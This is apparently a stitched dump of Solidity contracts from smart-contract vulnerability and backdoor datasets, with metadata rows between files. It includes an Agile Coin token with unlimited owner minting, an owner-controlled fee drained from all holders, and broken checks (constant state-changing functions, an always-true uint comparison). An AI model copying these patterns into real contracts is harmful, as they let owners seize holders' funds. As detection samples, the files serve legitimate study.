function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 public totalMinted;
uint256 public constant maxMintCap = 200000 * (10 ** 18);
constructor(string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function getOwner() external override view returns (address) {
return owner();
}
function name() public override view returns (string memory) {
return _name;
}
function decimals() public override view returns (uint8) {
return _decimals;
}
function symbol() public override view returns (string memory) {
return _symbol;
}
function totalSupply() public override view returns (uint256) {
return _totalSupply;
}
function maxSupply() public pure returns (uint256) {
return maxMintCap;
}
function balanceOf(address account) public override view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public override view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender,
address recipient,
uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
require(totalMinted.add(amount) <= maxMintCap, "Max supply reached");
_totalSupply = _totalSupply.add(amount);
totalMinted = totalMinted.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
// Meat.
contract Meat is ERC20('Meat', 'MEAT') {
//Pre-minting of X number of tokens for initial liquidity injection
constructor () public {
_mint(msg.sender, 400 * 10 ** 18);
}
address public masterchef;
// @dev Throws if called by any account other than the Masterchef.
modifier onlyMasterchef() {
require(msg.sender == masterchef, "Caller is not the Masterchef");
_;
}
/// @notice Creates `_amount` token to `_to`. Must only be called by the owner (MasterChef).
function mint(address _to, uint256 _amount) public onlyMasterchef {
_mint(_to, _amount);
}
function initializeMC(address _masterchef) public onlyOwner {
require(masterchef == address(0), "Already initialized");
require(_masterchef != address(0), "INCORRECT INPUT");
require(_masterchef != address(msg.sender), "INCORRECT INPUT");
require(_masterchef != address(this), "INCORRECT INPUT");
masterchef = _masterchef;
}
}
| 312,862 | 14,045 |
951d3a50a039c349fb4452c0ae9112a25adabfc5471abfee9368be70c337fa9d
| 23,092 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.4/0xdcb04b55b15121bc84a57edbd2ed328137b7534c.sol
| 4,672 | 22,956 |
pragma solidity ^0.4.20;
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Common uitility functions
// ----------------------------------------------------------------------------
contract Common {
function Common() internal {
}
function getIndexOfTarget(address[] list, address addr) internal pure returns (int) {
for (uint i = 0; i < list.length; i++) {
if (list[i] == addr) {
return int(i);
}
}
return -1;
}
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
address public operator;
event OwnershipTransferred(address indexed _from, address indexed _to);
event OperatorTransfered(address indexed _from, address indexed _to);
function Owned() internal {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier onlyOwnerOrOperator {
require(msg.sender == owner || msg.sender == operator);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function transferOperator(address _newOperator) public onlyOwner {
address originalOperator = operator;
operator = _newOperator;
OperatorTransfered(originalOperator, _newOperator);
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract TokenHeld {
address[] public addressIndices;
event OnPushedAddress(address addr, uint index);
function TokenHeld() internal {
}
// ------------------------------------------------------------------------
// Scan the addressIndices for ensuring the target address is included
// ------------------------------------------------------------------------
function scanAddresses(address addr) internal {
bool isAddrExist = false;
for (uint i = 0;i < addressIndices.length; i++) {
if (addressIndices[i] == addr) {
isAddrExist = true;
break;
}
}
if (isAddrExist == false) {
addressIndices.push(addr);
OnPushedAddress(addr, addressIndices.length);
}
}
}
contract Restricted is Common, Owned {
bool isChargingTokenTransferFee;
bool isAllocatingInterest;
bool isChargingManagementFee;
bool isTokenTransferOpen;
address[] tokenTransferDisallowedAddresses;
event OnIsChargingTokenTransferFeeUpdated(bool from, bool to);
event OnIsAllocatingInterestUpdated(bool from, bool to);
event OnIsChargingManagementFeeUpdated(bool from, bool to);
event OnIsTokenTransferOpenUpdated(bool from, bool to);
event OnTransferDisallowedAddressesChanged(string action, address indexed addr);
modifier onlyWhenAllocatingInterestOpen {
require(isAllocatingInterest == true);
_;
}
modifier onlyWhenChargingManagementFeeOpen {
require(isChargingManagementFee == true);
_;
}
modifier onlyWhenTokenTransferOpen {
require(isTokenTransferOpen == true);
_;
}
modifier shouldBeAllowed(address[] list, address addr) {
require(getIndexOfTarget(list, addr) == -1);
_;
}
function Restricted() internal {
isChargingTokenTransferFee = false;
isAllocatingInterest = false;
isChargingManagementFee = false;
isTokenTransferOpen = true;
}
function setIsChargingTokenTransferFee(bool onOff) public onlyOwnerOrOperator {
bool original = isChargingTokenTransferFee;
isChargingTokenTransferFee = onOff;
OnIsChargingTokenTransferFeeUpdated(original, onOff);
}
function setIsAllocatingInterest(bool onOff) public onlyOwnerOrOperator {
bool original = isAllocatingInterest;
isAllocatingInterest = onOff;
OnIsAllocatingInterestUpdated(original, onOff);
}
function setIsChargingManagementFee(bool onOff) public onlyOwnerOrOperator {
bool original = isChargingManagementFee;
isChargingManagementFee = onOff;
OnIsChargingManagementFeeUpdated(original, onOff);
}
function setIsTokenTransferOpen(bool onOff) public onlyOwnerOrOperator {
bool original = isTokenTransferOpen;
isTokenTransferOpen = onOff;
OnIsTokenTransferOpenUpdated(original, onOff);
}
function addToTokenTransferDisallowedList(address addr) public onlyOwnerOrOperator {
int idx = getIndexOfTarget(tokenTransferDisallowedAddresses, addr);
if (idx == -1) {
tokenTransferDisallowedAddresses.push(addr);
OnTransferDisallowedAddressesChanged("add", addr);
}
}
function removeFromTokenTransferDisallowedAddresses(address addr) public onlyOwnerOrOperator {
int idx = getIndexOfTarget(tokenTransferDisallowedAddresses, addr);
if (idx >= 0) {
uint uidx = uint(idx);
delete tokenTransferDisallowedAddresses[uidx];
OnTransferDisallowedAddressesChanged("remove", addr);
}
}
}
contract TokenTransaction is Common, Owned {
bool isTokenTransactionOpen;
address[] transactionDisallowedAddresses;
uint exchangeRateFor1Eth;
event OnIsTokenTransactionOpenUpdated(bool from, bool to);
event OnTransactionDisallowedAddressesChanged(string action, address indexed addr);
event OnExchangeRateUpdated(uint from, uint to);
modifier onlyWhenTokenTransactionOpen {
require(isTokenTransactionOpen == true);
_;
}
function TokenTransaction() internal {
isTokenTransactionOpen = true;
exchangeRateFor1Eth = 1000;
}
function setIsTokenTransactionOpen(bool onOff) public onlyOwnerOrOperator {
bool original = isTokenTransactionOpen;
isTokenTransactionOpen = onOff;
OnIsTokenTransactionOpenUpdated(original, onOff);
}
function addToTransactionDisallowedList(address addr) public constant onlyOwnerOrOperator {
int idx = getIndexOfTarget(transactionDisallowedAddresses, addr);
if (idx == -1) {
transactionDisallowedAddresses.push(addr);
OnTransactionDisallowedAddressesChanged("add", addr);
}
}
function removeFromTransactionDisallowedList(address addr) public constant onlyOwnerOrOperator {
int idx = getIndexOfTarget(transactionDisallowedAddresses, addr);
if (idx >= 0) {
uint uidx = uint(idx);
delete transactionDisallowedAddresses[uidx];
OnTransactionDisallowedAddressesChanged("remove", addr);
}
}
function updateExchangeRate(uint newExchangeRate) public onlyOwner {
uint originalRate = exchangeRateFor1Eth;
exchangeRateFor1Eth = newExchangeRate;
OnExchangeRateUpdated(originalRate, newExchangeRate);
}
}
contract Distributed is Owned {
using SafeMath for uint;
// Allocation related
uint tokenTransferPercentageNumerator;
uint tokenTransferPercentageDenominator;
uint interestAllocationPercentageNumerator;
uint interestAllocationPercentageDenominator;
uint managementFeeChargePercentageNumerator;
uint managementFeeChargePercentageDenominator;
uint distCompanyPercentage;
uint distTeamPercentage;
uint distOfferPercentage;
event OnPercentageChanged(string state, uint _m, uint _d, uint m, uint d);
event OnDistributionChanged(uint _c, uint _t, uint _o, uint c, uint t, uint o);
modifier onlyWhenPercentageSettingIsValid(uint c, uint t, uint o) {
require((c.add(t).add(o)) == 100);
_;
}
function Distributed() internal {
tokenTransferPercentageNumerator = 1;
tokenTransferPercentageDenominator = 100;
interestAllocationPercentageNumerator = 1;
interestAllocationPercentageDenominator = 100;
managementFeeChargePercentageNumerator = 1;
managementFeeChargePercentageDenominator = 100;
distCompanyPercentage = 20;
distTeamPercentage = 10;
distOfferPercentage = 70;
}
function setTokenTransferPercentage(uint numerator, uint denominator) public onlyOwnerOrOperator {
uint m = tokenTransferPercentageNumerator;
uint d = tokenTransferPercentageDenominator;
tokenTransferPercentageNumerator = numerator;
tokenTransferPercentageDenominator = denominator;
OnPercentageChanged("TokenTransferFee", m, d, numerator, denominator);
}
function setInterestAllocationPercentage(uint numerator, uint denominator) public onlyOwnerOrOperator {
uint m = interestAllocationPercentageNumerator;
uint d = interestAllocationPercentageDenominator;
interestAllocationPercentageNumerator = numerator;
interestAllocationPercentageDenominator = denominator;
OnPercentageChanged("InterestAllocation", m, d, numerator, denominator);
}
function setManagementFeeChargePercentage(uint numerator, uint denominator) public onlyOwnerOrOperator {
uint m = managementFeeChargePercentageNumerator;
uint d = managementFeeChargePercentageDenominator;
managementFeeChargePercentageNumerator = numerator;
managementFeeChargePercentageDenominator = denominator;
OnPercentageChanged("ManagementFee", m, d, numerator, denominator);
}
function setDistributionPercentage(uint c, uint t, uint o) public onlyWhenPercentageSettingIsValid(c, t, o) onlyOwner {
uint _c = distCompanyPercentage;
uint _t = distTeamPercentage;
uint _o = distOfferPercentage;
distCompanyPercentage = c;
distTeamPercentage = t;
distOfferPercentage = o;
OnDistributionChanged(_c, _t, _o, distCompanyPercentage, distTeamPercentage, distOfferPercentage);
}
}
contract FeeCalculation {
using SafeMath for uint;
function FeeCalculation() internal {
}
// ------------------------------------------------------------------------
// Calculate the fee tokens for transferring.
// ------------------------------------------------------------------------
function calculateTransferFee(uint tokens) internal pure returns (uint) {
uint calFee = 0;
if (tokens > 0 && tokens <= 1000)
calFee = 1;
else if (tokens > 1000 && tokens <= 5000)
calFee = tokens.mul(1).div(1000);
else if (tokens > 5000 && tokens <= 10000)
calFee = tokens.mul(2).div(1000);
else if (tokens > 10000)
calFee = 30;
return calFee;
}
}
// ----------------------------------------------------------------------------
// initial fixed supply
// ----------------------------------------------------------------------------
contract FixedSupplyToken is ERC20Interface, Distributed, TokenHeld, Restricted, TokenTransaction, FeeCalculation {
using SafeMath for uint;
// Token information related
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
event OnAllocated(address indexed addr, uint allocatedTokens);
event OnCharged(address indexed addr, uint chargedTokens);
modifier onlyWhenOfferredIsLowerThanDistOfferPercentage {
uint expectedTokens = msg.value.mul(1000);
uint totalOfferredTokens = 0;
for (uint i = 0; i < addressIndices.length; i++) {
totalOfferredTokens += balances[addressIndices[i]];
}
require(_totalSupply.mul(distOfferPercentage).div(100) - expectedTokens >= 0);
_;
}
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function FixedSupplyToken() public {
symbol = "AGC";
name = "Agile Coin";
decimals = 0;
_totalSupply = 100000000 * 10**uint(decimals);
balances[owner] = _totalSupply;
Transfer(address(0), owner, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
uint balance = balances[address(0)];
return _totalSupply - balance;
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public onlyWhenTokenTransferOpen shouldBeAllowed(transactionDisallowedAddresses, msg.sender) returns (bool success) {
uint calFee = isChargingTokenTransferFee ? calculateTransferFee(tokens) : 0;
scanAddresses(to);
balances[msg.sender] = balances[msg.sender].sub(tokens + calFee);
balances[owner] = balances[owner].add(calFee);
balances[to] = balances[to].add(tokens);
Transfer(msg.sender, to, tokens);
Transfer(msg.sender, owner, calFee);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public onlyWhenTokenTransferOpen shouldBeAllowed(tokenTransferDisallowedAddresses, msg.sender) returns (bool success) {
uint calFee = isChargingTokenTransferFee ? calculateTransferFee(tokens) : 0;
scanAddresses(to);
balances[from] = balances[from].sub(tokens + calFee);
balances[owner] = balances[owner].add(calFee);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(from, to, tokens);
Transfer(from, owner, calFee);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account. The `spender` contract function
// `receiveApproval(...)` is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable onlyWhenTokenTransactionOpen onlyWhenOfferredIsLowerThanDistOfferPercentage {
// Exchange: ETH --> ETTA Coin
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
// ------------------------------------------------------------------------
// Allocate interest.
// ------------------------------------------------------------------------
function allocateTokens() public onlyOwnerOrOperator onlyWhenAllocatingInterestOpen {
for (uint i = 0; i < addressIndices.length; i++) {
address crntAddr = addressIndices[i];
uint balanceOfCrntAddr = balances[crntAddr];
uint allocatedTokens = balanceOfCrntAddr.mul(interestAllocationPercentageNumerator).div(interestAllocationPercentageDenominator);
balances[crntAddr] = balances[crntAddr].add(allocatedTokens);
balances[owner] = balances[owner].sub(allocatedTokens);
Transfer(owner, crntAddr, allocatedTokens);
OnAllocated(crntAddr, allocatedTokens);
}
}
// ------------------------------------------------------------------------
// Charge investers for management fee.
// ------------------------------------------------------------------------
function chargeTokensForManagement() public onlyOwnerOrOperator onlyWhenChargingManagementFeeOpen {
for (uint i = 0; i < addressIndices.length; i++) {
address crntAddr = addressIndices[i];
uint balanceOfCrntAddr = balances[crntAddr];
uint chargedTokens = balanceOfCrntAddr.mul(managementFeeChargePercentageNumerator).div(managementFeeChargePercentageDenominator);
balances[crntAddr] = balances[crntAddr].sub(chargedTokens);
balances[owner] = balances[owner].add(chargedTokens);
Transfer(crntAddr,owner, chargedTokens);
OnCharged(crntAddr, chargedTokens);
}
}
// ------------------------------------------------------------------------
// Distribute more token of contract and transfer to owner
// ------------------------------------------------------------------------
function mintToken(uint256 mintedAmount) public onlyOwner {
require(mintedAmount > 0);
balances[owner] = balances[owner].add(mintedAmount);
_totalSupply = _totalSupply.add(mintedAmount);
Transfer(address(0), owner, mintedAmount);
}
event OnTokenBurned(uint256 totalBurnedTokens);
// ------------------------------------------------------------------------
// Remove `numerator / denominator` % of tokens from the system irreversibly
// ------------------------------------------------------------------------
function burnByPercentage(uint8 m, uint8 d) public onlyOwner returns (bool success) {
require(m > 0 && d > 0 && m <= d);
uint totalBurnedTokens = balances[owner].mul(m).div(d);
balances[owner] = balances[owner].sub(totalBurnedTokens);
_totalSupply = _totalSupply.sub(totalBurnedTokens);
Transfer(owner, address(0), totalBurnedTokens);
OnTokenBurned(totalBurnedTokens);
return true;
}
// ------------------------------------------------------------------------
// Remove a quantity of tokens
// ------------------------------------------------------------------------
function burnByAmount(uint256 tokens) public onlyOwner returns (bool success) {
require(tokens > 0 && tokens <= balances[owner]);
balances[owner] = balances[owner].sub(tokens);
_totalSupply = _totalSupply.sub(tokens);
Transfer(owner, address(0), tokens);
OnTokenBurned(tokens);
return true;
}
}
| 220,097 | 14,046 |
511f8694782f2ef5ec54f62760e7c79fdd9f7fc95837b516abae106d13cd5636
| 29,113 |
.sol
|
Solidity
| false |
199884348
|
money-on-chain/main-RBTC-contract
|
c6410b867de8e5de5df763bf8416a10ab8ae3d36
|
scripts/contract_flatten/UpgraderChanger_flat.sol
| 2,652 | 10,595 |
pragma solidity ^0.5.8;
contract Proxy {
function () payable external {
_fallback();
}
function _implementation() internal view returns (address);
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize)
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas, implementation, 0, calldatasize, 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize)
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize) }
default { return(0, returndatasize) }
}
}
function _willFallback() internal {
}
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
library ZOSLibAddress {
function isContract(address account) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
contract BaseUpgradeabilityProxy is Proxy {
event Upgraded(address indexed implementation);
bytes32 internal constant IMPLEMENTATION_SLOT = 0x7050c9e0f4ca769c69bd3a8ef740bc37934f8e2c036e5a723fd8ee048ed3f8c3;
function _implementation() internal view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
function _setImplementation(address newImplementation) internal {
require(ZOSLibAddress.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
contract UpgradeabilityProxy is BaseUpgradeabilityProxy {
constructor(address _logic, bytes memory _data) public payable {
assert(IMPLEMENTATION_SLOT == keccak256("org.zeppelinos.proxy.implementation"));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
}
contract BaseAdminUpgradeabilityProxy is BaseUpgradeabilityProxy {
event AdminChanged(address previousAdmin, address newAdmin);
bytes32 internal constant ADMIN_SLOT = 0x10d6a54a4754c8869d6886b5f5d7fbfa5b4522237ea5c60d11bc4e7a1ff9390b;
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
function admin() external ifAdmin returns (address) {
return _admin();
}
function implementation() external ifAdmin returns (address) {
return _implementation();
}
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin {
_upgradeTo(newImplementation);
(bool success,) = newImplementation.delegatecall(data);
require(success);
}
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
function _willFallback() internal {
require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin");
super._willFallback();
}
}
contract AdminUpgradeabilityProxy is BaseAdminUpgradeabilityProxy, UpgradeabilityProxy {
constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable {
assert(ADMIN_SLOT == keccak256("org.zeppelinos.proxy.admin"));
_setAdmin(_admin);
}
}
interface ChangeContract {
function execute() external;
}
contract ZOSLibOwnable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract ProxyAdmin is ZOSLibOwnable {
function getProxyImplementation(AdminUpgradeabilityProxy proxy) public view returns (address) {
// We need to manually run the static call since the getter cannot be flagged as view
// bytes4(keccak256("implementation()")) == 0x5c60da1b
(bool success, bytes memory returndata) = address(proxy).staticcall(hex"5c60da1b");
require(success);
return abi.decode(returndata, (address));
}
function getProxyAdmin(AdminUpgradeabilityProxy proxy) public view returns (address) {
// We need to manually run the static call since the getter cannot be flagged as view
// bytes4(keccak256("admin()")) == 0xf851a440
(bool success, bytes memory returndata) = address(proxy).staticcall(hex"f851a440");
require(success);
return abi.decode(returndata, (address));
}
function changeProxyAdmin(AdminUpgradeabilityProxy proxy, address newAdmin) public onlyOwner {
proxy.changeAdmin(newAdmin);
}
function upgrade(AdminUpgradeabilityProxy proxy, address implementation) public onlyOwner {
proxy.upgradeTo(implementation);
}
function upgradeAndCall(AdminUpgradeabilityProxy proxy, address implementation, bytes memory data) payable public onlyOwner {
proxy.upgradeToAndCall.value(msg.value)(implementation, data);
}
}
interface IGovernor{
function executeChange(ChangeContract changeContract) external;
function isAuthorizedChanger(address _changer) external view returns (bool);
}
contract Initializable {
bool private initialized;
bool private initializing;
modifier initializer() {
require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");
bool isTopLevelCall = !initializing;
if (isTopLevelCall) {
initializing = true;
initialized = true;
}
_;
if (isTopLevelCall) {
initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function isConstructor() private view returns (bool) {
// extcodesize checks the size of the code stored in an address, and
// address returns the current address. Since the code is still not
// deployed when running a constructor, any checks on its code size will
// yield zero, making it an effective way to detect if a contract is
// under construction or not.
uint256 cs;
assembly { cs := extcodesize(address) }
return cs == 0;
}
// Reserved storage space to allow for layout changes in the future.
uint256[50] private ______gap;
}
contract Governed is Initializable {
IGovernor public governor;
string constant private NOT_AUTHORIZED_CHANGER = "not_authorized_changer";
modifier onlyAuthorizedChanger() {
require(governor.isAuthorizedChanger(msg.sender), NOT_AUTHORIZED_CHANGER);
_;
}
function initialize(IGovernor _governor) public initializer {
governor = _governor;
}
function changeIGovernor(IGovernor newIGovernor) public onlyAuthorizedChanger {
governor = newIGovernor;
}
// Leave a gap betweeen inherited contracts variables in order to be
// able to add more variables in them later
uint256[50] private upgradeGap;
}
contract UpgradeDelegator is Governed {
ProxyAdmin public proxyAdmin;
function initialize(IGovernor _governor, ProxyAdmin _proxyAdmin) public initializer {
Governed.initialize(_governor);
proxyAdmin = _proxyAdmin;
}
function getProxyImplementation(AdminUpgradeabilityProxy proxy) public view returns (address) {
return proxyAdmin.getProxyImplementation(proxy);
}
function getProxyAdmin(AdminUpgradeabilityProxy proxy) public view returns (address) {
return proxyAdmin.getProxyAdmin(proxy);
}
function changeProxyAdmin(AdminUpgradeabilityProxy proxy, address newAdmin) public onlyAuthorizedChanger {
proxyAdmin.changeProxyAdmin(proxy, newAdmin);
}
function upgrade(AdminUpgradeabilityProxy proxy, address implementation) public onlyAuthorizedChanger {
proxyAdmin.upgrade(proxy, implementation);
}
function upgradeAndCall(AdminUpgradeabilityProxy proxy, address implementation, bytes memory data) public payable onlyAuthorizedChanger {
proxyAdmin.upgradeAndCall.value(msg.value)(proxy, implementation, data);
}
}
contract UpgraderChanger is ChangeContract {
AdminUpgradeabilityProxy public proxy;
UpgradeDelegator public upgradeDelegator;
address public newImplementation;
constructor(AdminUpgradeabilityProxy _proxy, UpgradeDelegator _upgradeDelegator, address _newImplementation) public {
proxy = _proxy;
upgradeDelegator = _upgradeDelegator;
newImplementation = _newImplementation;
}
function execute() external {
_beforeUpgrade();
_upgrade();
_afterUpgrade();
}
function _upgrade() internal {
upgradeDelegator.upgrade(proxy, newImplementation);
}
function _beforeUpgrade() internal {
}
function _afterUpgrade() internal {
}
}
| 168,951 | 14,047 |
4fb532d535c3ec613fe7f14c3d1ce108475f9dc64133e3af9575863218d720cd
| 23,352 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0x9e63951726c1db99d1223d14fa98c522c6ff9a50.sol
| 4,911 | 18,360 |
pragma solidity ^0.4.24;
contract TempleOfETH {
/// @dev Only people with tokens
modifier onlyBagholders {
require(myTokens() > 0);
_;
}
/// @dev Only people with profits
modifier onlyStronghands {
require(myDividends(true) > 0);
_;
}
/// @dev easyOnTheGas
modifier easyOnTheGas() {
require(tx.gasprice < 200999999999);
_;
}
